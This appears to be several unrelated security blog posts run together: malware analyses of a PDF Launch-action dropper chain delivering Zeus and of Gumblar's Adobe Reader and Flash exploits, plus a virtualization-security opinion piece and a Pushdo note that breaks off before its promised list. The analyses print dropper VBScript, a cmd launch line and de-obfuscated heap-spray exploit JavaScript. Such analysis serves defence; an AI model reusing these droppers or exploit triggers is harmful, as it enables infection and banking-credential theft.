Although it is not a new idea to run an executable from within a PDF, the researcher Didier Stevens present a trick technique to make it more practical, “in the real world”.

In this post I will dissect a PDF document using this trick (MD5: 1dcd4a3f5d05433fcebf88d9138a1966), indeed found in the wild. As one of vendors affected, Adobe was investigating this issue and give a temporary solution. But no patch is available yet. In fact there maybe no patch at all… and although CVE number CVE-2010-1240 is assigned for this issue, Some people think it is not a vulnerability, for it requires user interaction.

0day or not, and vulnerability or not, it *is* a threat either was – and Fortinet provided protection for the customer: “PDF/Pidief.BV!exploit” for AV and “PDF.With.Launch.Action” for IPS, each tackling the threat from a different angle for better resistance to threat variation. Since no patch is available from vendors like Adobe yet, it is also important for you to be aware of the form of this trick found in the wild.

The malicious PDF document source code looks like the following:

Following is what you will see when open this PDF with latest Adobe Reader (9.3.2).

When you click the button “Open”, the following is executed:

/P (/c echo Set fso=CreateObject(”Scripting.FileSystemObject”) > script.vbs [...Truncated...] && script.vbs && batscript.vbs

This effectively drops, populates and executes a VB script called script.vbs, which final contents are the following:

Set fso=CreateObject(”Scripting.FileSystemObject”)
Set f=fso.OpenTextFile(”doc.pdf”, 1, True)
pf=f.ReadAll
s=InStr(pf,”‘SS”)
e=InStr(pf,”‘EE”)
s=Mid(pf,s,e-s)
Set z=fso.OpenTextFile(”batscript.vbs”, 2, True)
s = Replace(s,”%”,”")
z.Write(s)

Basically, it merely extracts an embedded “batscript.vbs” in the PDF document and drops it in the current directory. This “batscript.vbs” contains the following:

Dim b
Function c(d)
c=chr(d)
End Function
b=Array(c(077),c(090),c(144),[Truncated]
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set f = fso.OpenTextFile(”game.exe”, 2, True)
For i = 0 To 35328
f.write(b(i))
Next
f.close()
Set WshShell = WScript.CreateObject(”WScript.Shell”)
WshShell.Run “cmd.exe /c game.exe”
WScript.Sleep 3000
Set f = FSO.GetFile(”game.exe”)
f.Delete
Set f = FSO.GetFile(”batscript.vbs”)
f.Delete
Set f = FSO.GetFile(”script.vbs”)
f.Delete

This essentially drops a binary file called game.exe from an array of binary codes and runs it. In turn, game.exe downloads and installs an instance of the infamous Zeus Bot, whose main purpose is to steal (including using live interception) banking credentials and information.

All that from a simple user click. Consequently, if you happen to run into such a dialog when opening a PDF document, consider that there might be something rotten in the Kingdom of Denmark (or at least, in that document); and do not be too prompt to click “open”.

Fortinet detect game.exe as W32/Agent.DJBN!tr and the Zeus bot instance as W32/Zbot.AISS!tr. A detailed analysis of the Zeus Botnet is avalaible on the Fortiguard Center.

Guillaume Lovet contributed to this post.

There seems to be a lot of discussion about virtualization, and rightly so. Virtualization promises dramatic, immediate benefits for many customers.  The purpose of this post is not to reiterate those benefits; a tremendous amount of information already exists.  However, as a security professional, I am concerned with the sensationalizing of virtualized security and how it is proposed as an entirely new sector of security within a virtualized environment.  With a few quick Internet searches, we are met with a barrage of articles from proposed consulting expertise to unique virtual appliances promising a solution to a yet-to-be explained virtual problem (pun intended).

The first question I always ask is, “how is virtualized security different than traditional security?”  The resounding response I most often hear when I ask industry peers is that virtual security is a way to secure virtual server environments (obviously).  When I dig a little deeper, I get the response of, “if a virtual server has been compromised (lets say a virus/worm), it will be able to cross-infect all of the other virtual servers co-residing within the same physical server hardware.  Therefore customers need to provide a virtual security layer between each of the virtual servers.”  Sounds like a logical conclusion – if you follow this argument.

While I feel there is some validation to that argument, I am concerned that there is a lot of misinformation and FUD (fear, uncertainty, doubt) being spread based on a lack of understanding of the technology and potential security threats focused on virtualization.  Consider a classic data center before virtualization appeared.  The design often consisted of a server farm front-ended by a load-balancer / application accelerator, which often lies behind a layer of security solutions (firewall, web content filtering, antivirus filtering, IPS etc.).  In a traditional design, the servers were optimized for performance by the application acceleration layer and the security layer protected the overall infrastructure from the threat landscape.  In reality, this physical server farm infrastructure is prone to the same potential fate as its virtualized counterpart – co-resident physical servers can just as easily infect each other if compromised, but that doesn’t mean we implement  additional security layers between every server, it just meant that we strengthened the policies and security measures surrounding the server infrastructure.

By comparing the virtualized server farm and the physical server farm, the security concerns are indeed similar.  But currently we are told that we need to implement another approach to securing our virtualized server farm just because it has been virtualized?  Why is this the focus?  Can’t we follow the traditional architectures?  If you were of the higher-security model and you had each server compartmentalized behind a dedicated security device, you can still achieve the same with virtualization by only allowing each virtual server to communicate via an external security device – which will also provide increased visibility into the communications between each server.

I will agree that virtualization provides a tremendous amount of flexibility that is difficult to achieve with traditional server infrastructures, and yes, with flexibility comes potential security concerns opening up the door for new security measures. However, by rethinking traditional security solutions we can surely adapt to secure this new frontier of virtualization.

My argument is not with virtualization, as I wrote above I do believe it provides immediate tangible benefits for many customers.  However I am concerned that a lot of vendors are trying to ride the wave of the virtualization success by manufacturing concepts and concerns that are not 100 percent accurate, or worse, not in the best interest of the customers.

It’s been two months since we revealed the 3rd Generation Pushdo/Cutwail/Webwail Botnet communication protocol and encryption. Recently, while researching a new bot (GoolBot), we found another Pushdo-like malware spreading with its help. After reversing, it became clear that it was a brand new evolution of the infamous multi-malware loader, for two essential reasons:

• While it used the 2nd generation Pushdo communication protocol (with minor varations), it encrypted its communications and routed them through the SSL port (443); while this encryption looked like SSL at first sight (which would be consistent with the choice of the port), it is actually NOT.

• There is a routine which generates some actual SSL traffic to a list of 339 known web sites (legitimate, for the most part), obviously to drawn bot-to-C&C communication in a sea of decoys.

This latter point explains why so many webmasters are reporting that SSL traffic (coming from different IPs) is much higher than normal these days. The good news for them is that the additional traffic is not malicious (application-wise, that is), and the bad news is that an increase of actual viewers is not the cause of it: it’s just some dummy data generated by calls to the QueryPerformanceCounter API in the latest Pushdo evolution.

Memory snapshots (from a pushdo infected machine) below illustrate the former point about encryption.

Before encryption:

After encryption (same memory space), just before sending:

The response from the C&C server, encrypted alike, contains the rootkit and spam engine modules (classic Pushdo process).

As an interesting side note, as we will see below, here is a list of those C&Cs:

Appearing in the first quarter of 2009, Gumblar spread rapidly and has become one of the biggest threats today^[1]. Gumblar infects PC by exploiting vulnerabilities of Web Browsers and Browser Plugins, such as Adobe Acrobat Reader and Flash player. There is some good information available regarding Gumblar, addressing its Javascript obfuscation, the affected domains and its C&C communication[2][3][4]. However, scarce detail is available about the very vulnerabilities and exploits leveraged by Gumblar, and the question “How are the malicious PDF and Flash files crafted?” remains mostly unanswered.

This is the very question we will give a try at today. If you installed Adobe Reader, Acrobat or Flash player, you stand big chances to be fed malicious samples when you visit an infected web site: After fingerprinting the victim’s system, Gumblar uses obfuscated javascript to feed these samples to the visitors of the compromised sites running PHP. These malicious samples (PDF and Flash) in turn exploit vulnerabilities in the software handling them on the victim’s system; upon successful exploitation, the victim becomes effectively infected by Gumblar – without even noticing, since no action was required from the victim.

The following analysis concerns those malicious PDF and Flash files.

1. PDF Exploit Example

Many recent Acrobat / Acrobat Reader vulnerabilities are in fact triggered by javascript code embedded in the document: malformed arguments are passed to vulnerable methods. In our case, the embedded javascript code (compressed, as usual – though surprisingly short) looks like this once uncompressed:

IPfFw=this.info.title;————————————————————————–Store the real code
function wwh(EOOGe){return unescape(EOOGe);}function mQC1G(){return ‘%’;}xbnI=(IPfFw).replace(/[\R]/g,mQC1G());
eval(wwh(xbnI))

Interestingly, it appears that the real code is stored in the file title, which is what makes the JavaScript part so short.

The following is the de-obfuscated code stored in the file title:

[...]
try{var qiQG=app.viewerVersion.toString(); qiQG=qiQG.charAt(0)*100+qiQG.charAt(2)*10+qiQG.charAt(4);if((qiQG>=800)&&(qiQG<=812)){
var PYI=unescape(”%u0A0A%u0A0A”);var TAq=20;var QUI=TAq+Leje.length;while(PYI.length<QUI)PYI+=PYI;var VcT=PYI.substring(0,QUI);var Zq3G=PYI.substring(0,PYI.length-QUI);
while(Zq3G.length+QUI<0×60000)Zq3G=Zq3G+Zq3G+VcT;for(qq8I=0;qq8I<1200;qq8I++){dHH[qq8I]=Zq3G+Leje}var O07=”12999999999999999999″;for(KRv=0;KRv<276;KRv++)O07+=”8″;
util.printf(”%45000f”,O07);————————————————————-exploit CVE-2008-2992
}
if((qiQG<710)||((qiQG>800)&&(qiQG<812))){VLog(); var uqG=unescape(”%u0c0c%u0c0c”);while(uqG.length<44952)uqG+=uqG;
this.collabStore=Collab.collectEmailInfo({subj:”",msg:uqG});——————————exploit CVE-2008-0655
}
if((qiQG<=900)&&(qiQG!=711)&&(qiQG!=813)&&app.doc.Collab.getIcon)
{VLog(); var xkSfB=unescape(”%09″);while(xkSfB.length<0×4000){xkSfB+=xkSfB;
}xkSfB=”N.”+xkSfB;
app.doc.Collab.getIcon(xkSfB);—————————————-exploit CVE-2009-0927
}
}catch(e){}

As commented inline, it therefore tries to exploit CVE-2008-2992, CVE-2008-0655 and CVE-2009-0927. And so we found the exploits triggers.

2. Flash Exploit Example

Gumblar uses a similar run-time packer as the one discussed in Flash Mob Episode II: Attack of the Clones, thus I will only address the differences here. Again, I had to summon swfdump because swfscan failed to decompile the ActionScript. The analysis below is based on the disassembly provided by swfdump. The unpacking is done in the constructor of class Main:

constructor * <q>[public]::Main=Main/Main()(0 params, 0 optional)
[stack:4 locals:3 scope:10-15 flags: need_activation]

slot 4: var <q>[packageinternal]::loader:<q>[public]flash.display::Loaderslot 3: var <q>[packageinternal]::i:<q>[public]::Numberslot 2: var <q>[packageinternal]::bytes:<q>[public]flash.utils::ByteArrayslot 1: var <q>[packageinternal]::SWF1:<q>[public]::Class
{
[...]
00018) + 1:2 getlex <q>[public]::Main_SWF1——————————————-What’s this?

00019) + 2:2 coerce <q>[public]::Class

00020) + 2:2 setslot 1

[...]

00024) + 2:2 getslot 1

00025) + 2:2 construct 0 params

00026) + 2:2 getlex <q>[public]flash.utils::ByteArray

00027) + 3:2 astypelate

00028) + 2:2 coerce <q>[public]flash.utils::ByteArray————————————Converted to ByteArray

00029) + 2:2 setslot 2——————————————————————Encoded flash data

[...]

00032) + 1:2 pushbyte 0

00033) + 2:2 convert_d

00034) + 2:2 setslot 3——————————————————————-Counter i

00035) + 0:2 jump ->58————————————————Go to test condition of while loop

00036) + 0:2 label——————————————————Loop Start

[...]

00043) + 3:2 getslot 2

00044) + 3:2 getscopeobject 1

00045) + 4:2 getslot 3

00046) + 4:2 getproperty <l,multi>{[private]Main,…[Truncated]}————————–Get ByteArray[i]

00047) + 3:2 pushbyte 61—————————————————————Decoding key

00048) + 4:2 bitxor———————————————————————-Decoding algorithm:XOR

00049) + 3:2 setproperty <l,multi>{[private]Main,…[Truncated]}————————–Store decoded flash

[...]

00059) + 1:2 getslot 3

00060) + 1:2 getscopeobject 1

00061) + 2:2 getslot 2

00062) + 2:2 getproperty <q>[public]::length

00063) + 2:2 iflt ->36——————————————————————-Loop if counter i is lower than length

00064) + 0:2 debugline 23

00065) + 0:2 getscopeobject 1

00066) + 1:2 findpropstrict <q>[public]flash.display::Loader

00067) + 2:2 constructprop <q>[public]flash.display::Loader, 0 params

00068) + 2:2 coerce <q>[public]flash.display::Loader

00069) + 2:2 setslot 4————————Initialize a flash.display::Loader to load decoded flash

[...]

00086) + 1:2 getslot 4

00087) + 1:2 getscopeobject 1

00088) + 2:2 getslot 2

00089) + 2:2 callpropvoid <q>[public]::loadBytes, 1 params——————————–Load decoded flash

[...]

}

As can be seen above, the same decryption
algorithm is used: simple XORing of the payload with a key. But wait a minute, where is the encoded flash data? It’s nowhere to be found in the ActionScript part. What is “Main_SWF1″? Let’s search outside of ActionScript, in the swfdump output:

[057]     10350 DEFINEBINARY defines id 0001————————————————DEFINEBINARY Tag(0×57)

[...]

[04c]        21 SYMBOLCLASS

exports 0001 as “Main_SWF1″—————————————————-Export Binary data as “Main_SWF1″

The encoded flash data is stored in tag DEFINEBINARY!

The decoded flash is the same as F2.swf, as discussed in Flash Mob Episode II: Attack of the Clones. It tries to exploit CVE-2007-0071 using a multiplexing technique. Trigger found!

As a conclusion, Gumblar hides its weapons carefully: Sitting in “resources” zones, the real exploit code is separated from the JavaScript/ActionScript part, which is only used to decrypt and load it. Using this and server-side polymorphism, no doubt Gumblar successfully evades many a detection.